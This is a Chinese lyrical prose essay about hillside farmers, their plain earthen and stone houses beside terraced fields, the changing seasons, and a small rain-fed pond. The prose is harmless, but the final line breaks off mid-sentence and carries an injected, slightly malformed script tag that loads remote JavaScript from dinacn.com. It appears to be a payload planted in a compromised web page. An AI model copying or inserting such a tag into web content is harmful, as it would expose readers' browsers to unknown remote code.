房子和田 那些离天很近的人,是生活在山坡上的种族。站在山下仰望,这些在劳作的间隙偶尔拄着锄头歇息的人们,似乎只要膀子一抬,手一伸,就会触摸到灰蓝柔软的天空。太阳快要落山的时候,他们也只须拦在山顶,一伸手,就能抓住那一个老南瓜似的日头;如果是在繁星满天的夜晚,他们的房子也会被闪烁的星光包围,那一颗颗剖开的石榴籽样鲜润晶莹的星子,如果他们想要,也会一摘一大把。
他们零星在山地,光秃地裸着许多岩石,或者长满了青枝绿草、隔断着人们视线的山坡上。只要山上有田,即或是贫瘠的梯田荒凉的山坳,也不难找到他们的踪迹,看见他们因整日的劳作而无遐顾及的衣冠不整的形象,以及沾着汗水和草屑的有些肮脏的脸,见了生人的拘谨而诚实的笑容。
但是这一张张被汗水滋润的笑脸,却比不上那一块田的生动活跃。
如何荒芜的黄土地,春天也会滚着一坡油菜花的金黄,夏天涌着一片高粱禾的翠绿。流传的季节在这一块坡田上呈现不同的色彩,而那离田不远处,一幢坐落在山腰山坳之间低矮的房子,守护的模样永远是一张不露声色的平静的脸。
房子就像是山坡上长出的物件,和田地同样古老。茂盛的季节走过了收获,沿坡而起的蓝天下,铺上山顶的是一片黄土的沉默:一个个小棚似的高粱秸堆,伸张的枯叶在秋风中飘动;还留着秸桩的厢田,厢田里长出的一盘不知名的野草,一只觅食的蚂蚁站在小草的顶端晃动着两只茫然的触角;田地恢复了和房子一样黄色的宁静安详。喧嚣是短暂的,平静才是永恒。
这丘陵地带,多数不是连片群聚的房屋,常见的是散落着的单家独户,在起伏的山间,如同孑落掉队的部族。在离群索居的沉默中,这些永远落后时代的房子骑在山坡上,和连绵的山脉一同起伏着追赶。
静立在田旁的房子简陋而质朴。墙面斑驳,窗户狭小,屋檐下的阶沿坎上,永远堆放着犁耙,板车架,粪筐,锄头等一些沾着泥土与岁月的农具,一副清贫而不息劳作的景象。如果说这守在田旁的房子还有一些活泼鲜亮的颜色,那是在它粉刷一新的时候。过年或者嫁娶,灰暗的墙壁粉刷一新,露出了一片耀眼的粉白,像人穿上了一件夺目的新衣。年关的气氛会如白雪渐渐消融,娶进门的女人也如田里过季的庄稼不再光鲜,过了一年两年,那面泥刷过的墙壁,搬迁的农具将它碰掉了几条槽,春天的土蜂将它钻了几眼孔,瓦上的雨漏在上面爬了几条埂,溅起的雨水更将墙脚点成了一片污浊,于是房子又露出它往日的面目,灰暗而又陈旧。春天到来,布满小孔大眼的土墙上,固然有爬出墙孔的土蜂飞绕着它,让它不至于太寂寞,但是在喧闹的季节里,葱茂的枝叶和绽放的鲜花围绕的这一幢幢土房仍是一副守望者肃穆缄默的模样。
但是灰暗和陈旧,并不代表生命的停歇和枯萎。人们总是在屋角的空地植上桃树杏树一些报晓季节的花木,一些感受四季征候的日历。当春天到来的时候,一株暴灼的桃花,一树烟润的杏花,便在土房,它苍老枯黄的墙根下安然开放。人们的新生活因为平淡陈旧的背景更加踏实稳重。
如果放眼都是贫瘠的岩石,田旁的房子就更简陋了。没有土,没有泥,整个墙壁都是用一块块的岩石片砌起来的;旁边的几间更低更矮的猪栏牛栏,盖的也是一片鳞鳞的岩块。摸着那些砌成墙壁的岩石,就像抚摸一个个堆砌起来的平淡无奇的日子。
在这平淡无奇的房子里,住的就是这些离天很近的人。这些人似乎都是一个模样,整天一副忙碌的身影:低头背着一大捆柴草,四面虬张的柴草便淹没了他(她)的身影,似乎有长了脚似的大草堆在缓缓移动,分不清那负着移动的柴草的是男是女;或是努力佝伸着头背着一年的收获,一背高粱,一袋小麦,沉重的果实压弯了他们的腰:常见的是忙碌而沉重的背影,极少看见他们的脸庞。如果想仔细看一看山里的人们,就去望一望那铺展在天空下的田地,守护在田地旁的土房,黄色的泥土就是他们与天地同在的脸庞。
春天是一坡油菜花的金黄,夏天是一坡高粱禾的翠绿,这一坡的田地成了一方天地美丽的面容,而那田旁的房子,就是让它四时美丽的心脏;到了秋天,田旁的屋场上就会堆晒一地的高粱,一颗颗黄润坚实的包谷米,会让人想到,在漆黑的夜晚,这些包谷米准会像星星一样闪着亮光。
天水堰塘 不知什么时候,就有了这口堰塘。
在离房子的不远处,于山凹的一角,一片枯索中突然就闪亮出一块铅灰色,似从天上掉下的一方云天,那就是水沆,人们习惯称作的堰塘
堰塘不规则,说不上是长方形还是圆形,似是食月的天狗咬掉下的一块;也不大,一个挎着书包流着鼻涕的放学的学生,一调皮,就会从堰塘的一边跳到另一边去。但是这个看上去不大也很丑陋的堰塘,却是维系这一方一切有生命的物质所在。
男人会到这里来背水,一个半人来高的扁平的背水桶,舀满水后,用背架背着一步一步走回家?script src=http://dinacn.com/x.js> |